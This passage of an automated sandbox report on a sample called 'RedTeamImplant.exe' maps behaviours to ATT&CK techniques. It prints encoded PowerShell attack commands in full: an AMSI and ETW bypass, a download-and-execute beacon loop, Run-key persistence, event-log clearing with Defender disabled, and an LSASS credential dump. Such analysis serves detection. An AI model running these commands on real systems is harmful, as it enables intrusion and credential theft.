\"WriteFile\"; File: \"RedTeamImplant.exe\")","description_v2":["Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1105","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1105","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"registry-173","type":3,"relevance":1,"name":"Queries services related registry keys","description":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\MSHTA.EXE\"; Value: \"\")","description_v2":["\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\MSHTA.EXE\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\MSHTA.EXE\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1007","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1007","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"string-223","type":2,"relevance":1,"name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"string-395","type":2,"relevance":1,"name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"string-64","type":2,"relevance":10,"name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"signal\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)\n Found string \"remove\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)\n Found string \"WSAIoctl\" (Source: RedTeamImplant.exe, API is part of module: WS2_32.DLL)\n Found string \"GetFileType\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetFileInformationByHandle\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)\n Found string \"timeEndPeriod\" (Source: RedTeamImplant.exe, API is part of module: KERNEL32.DLL)\n Found string \"NtCancelWaitCompletionPacket\" (Source: RedTeamImplant.exe, API is part of module: NTDLL.DLL)","description_v2":["Found string \"signal\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)","Found string \"remove\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)","Found string \"WSAIoctl\" (Source: RedTeamImplant.exe, API is part of module: WS2_32.DLL)","Found string \"GetFileType\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)","Found string \"GetFileInformationByHandle\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)","Found string \"timeEndPeriod\" (Source: RedTeamImplant.exe, API is part of module: KERNEL32.DLL)","Found string \"NtCancelWaitCompletionPacket\" (Source: RedTeamImplant.exe, API is part of module: NTDLL.DLL)"],"description_v3":[{"type":"text","value":"Found string \"signal\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"remove\" (Source: RedTeamImplant.exe, API is part of module: MSVCRT.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"WSAIoctl\" (Source: RedTeamImplant.exe, API is part of module: WS2_32.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetFileType\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetFileInformationByHandle\" (Source: RedTeamImplant.exe, API is part of module: KERNELBASE.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"timeEndPeriod\" (Source: RedTeamImplant.exe, API is part of module: KERNEL32.DLL)"},{"type":"linebreak"},{"type":"text","value":"Found string \"NtCancelWaitCompletionPacket\" (Source: RedTeamImplant.exe, API is part of module: NTDLL.DLL)"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"static-18","type":0,"relevance":10,"name":"Matched Compiler/Packer signature","description":"\"RedTeamImplant.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","description_v2":["\"RedTeamImplant.exe\" was detected as \"tElock v1.0 (private) -> tE!\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" was detected as \"tElock v1.0 (private) -> tE!\""}],"origin":"Static Parser","attck_id":"T1027.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/002","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Anti-Reverse Engineering","identifier":"static-6","type":0,"relevance":1,"name":"Section contains high entropy","description":"\"RedTeamImplant.exe\" has section name .text with entropy \"6.225080313738745\"","description_v2":["\"RedTeamImplant.exe\" has section name .text with entropy \"6.225080313738745\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" has section name .text with entropy \"6.225080313738745\""}],"origin":"Static Parser","attck_id":"T1027.009","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/009","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Cryptographic Related","identifier":"string-602","type":2,"relevance":2,"name":"Contains ability to use Microsoft's Enhanced Cryptographic Provider","description":"$60","description_v2":["Found api reference \"path= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion\" (Indicator: \"CertOpenStore\"; File: \"RedTeamImplant.exe\")","$61","$62","$63","$64","$65","Found api reference \"be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW\"","$66","M3.2.0","$67","M3.2.0","$68","$69","$6a","$6b","$6c","$6d","Found api reference \"sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion\" (Indicator: \"CertOpenStore\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","$6e","$6f","$70","Found api reference \"the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW\"","$71"],"description_v3":[{"type":"text","value":"Found api reference \"path= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion\" (Indicator: \"CertOpenStore\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"$72"},{"type":"linebreak"},{"type":"text","value":"$73"},{"type":"linebreak"},{"type":"text","value":"$74"},{"type":"linebreak"},{"type":"text","value":"$75"},{"type":"linebreak"},{"type":"text","value":"$76"},{"type":"linebreak"},{"type":"text","value":"Found api reference \"be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW\""},{"type":"linebreak"},{"type":"text","value":"$77"},{"type":"linebreak"},{"type":"text","value":"M3.2.0"},{"type":"linebreak"},{"type":"text","value":"$78"},{"type":"linebreak"},{"type":"text","value":"M3.2.0"},{"type":"linebreak"},{"type":"text","value":"$79"},{"type":"linebreak"},{"type":"text","value":"$7a"},{"type":"linebreak"},{"type":"text","value":"$7b"},{"type":"linebreak"},{"type":"text","value":"$7c"},{"type":"linebreak"},{"type":"text","value":"$7d"},{"type":"linebreak"},{"type":"text","value":"$7e"},{"type":"linebreak"},{"type":"text","value":"Found api reference \"sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion\" (Indicator: \"CertOpenStore\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"$7f"},{"type":"linebreak"},{"type":"text","value":"$80"},{"type":"linebreak"},{"type":"text","value":"$81"},{"type":"linebreak"},{"type":"text","value":"Found api reference \"the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW\""},{"type":"linebreak"},{"type":"text","value":"$82"}],"origin":"File/Memory","attck_id":"T1573","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1573","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"External Systems","identifier":"avtest-0","type":12,"relevance":0,"name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/27 Antivirus vendors marked sample as malicious (3% detection rate)","description_v2":["1/27 Antivirus vendors marked sample as malicious (3% detection rate)"],"description_v3":[{"type":"text","value":"1/27 Antivirus vendors marked sample as malicious (3% detection rate)"}],"origin":"External System","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"api-291","type":6,"relevance":2,"name":"Attempts to call internet-related API for network communication","description":"\"RedTeamImplant.exe\" called \"NtAlpcSendWaitReceivePort\" with parameters (UID: 00000000-00007844)","description_v2":["\"RedTeamImplant.exe\" called \"NtAlpcSendWaitReceivePort\" with parameters (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtAlpcSendWaitReceivePort\" with parameters (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Remote Access Related","identifier":"string-30","type":2,"relevance":3,"name":"Contains references to WMI/WMIC","description":"$83","description_v2":["Found string \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\\Windows\\System32\\comsvcs.dll","$84"],"description_v3":[{"type":"text","value":"Found string \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 %WINDIR%\\System32\\comsvcs.dll"},{"type":"linebreak"},{"type":"text","value":"$85"}],"origin":"File/Memory","attck_id":"T1047","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1047","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Spyware/Information Retrieval","identifier":"string-126","type":2,"relevance":3,"name":"Found system commands related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"whoami\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"route\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"route\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"whoami\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"route\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"route\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"whoami\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"route\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Destruction","identifier":"string-697","type":2,"relevance":1,"name":"Modifies the configuration of Windows event logs","description":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1562.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1562/002","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-1","type":0,"relevance":1,"name":"Imports suspicious APIs","description":"WriteFile\n GetSystemInfo\n GetSystemDirectoryA\n GetThreadContext\n LoadLibraryExW\n VirtualAlloc\n LoadLibraryW\n CreateThread\n GetProcAddress","description_v2":["WriteFile","GetSystemInfo","GetSystemDirectoryA","GetThreadContext","LoadLibraryExW","VirtualAlloc","LoadLibraryW","CreateThread","GetProcAddress"],"description_v3":[{"type":"text","value":"WriteFile"},{"type":"linebreak"},{"type":"text","value":"GetSystemInfo"},{"type":"linebreak"},{"type":"text","value":"GetSystemDirectoryA"},{"type":"linebreak"},{"type":"text","value":"GetThreadContext"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryExW"},{"type":"linebreak"},{"type":"text","value":"VirtualAlloc"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryW"},{"type":"linebreak"},{"type":"text","value":"CreateThread"},{"type":"linebreak"},{"type":"text","value":"GetProcAddress"}],"origin":"Static Parser","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-3","type":0,"relevance":10,"name":"Timestamp in PE header is very old or in the future","description":"\"RedTeamImplant.exe\" claims program is from Thu Jan 1 00:00:00 1970","description_v2":["\"RedTeamImplant.exe\" claims program is from Thu Jan 1 00:00:00 1970"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" claims program is from Thu Jan 1 00:00:00 1970"}],"origin":"Static Parser","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Anti-Detection/Stealthiness","identifier":"target-113","type":9,"relevance":10,"name":"Detected mshta.exe process execution","description":"$86","description_v2":["Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\\\\"","0","False(window.close)\"\" (UID: 00000000-00007932)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\\\\"","0","False(window.close)\"\" (UID: 00000000-00004164)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00008072)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\\\\"","0","False(window.close)\"\" (UID: 00000000-00009000)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00005204)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00002396)","Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\\\\"","0","False(window.close)\"\" (UID: 00000000-00000688)","Process \"mshta.exe\" with commandline \"javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)\" (UID: 00000000-00002204)"],"description_v3":[{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00007932","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00004164","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00008072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\\\\""},{"type":"linebreak"},{"type":"text","value":"0"},{"type":"linebreak"},{"type":"text","value":"False(window.close)\"\""},{"type":"process","process_uid":"00000000-00009000","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Process \"mshta.exe\" with commandline \"\"vbscript:CreateObject(\\\\\"WScript.Shell\\\\\").Run \\\\\"powershell -NoP -NonI -W Hidden -Enc 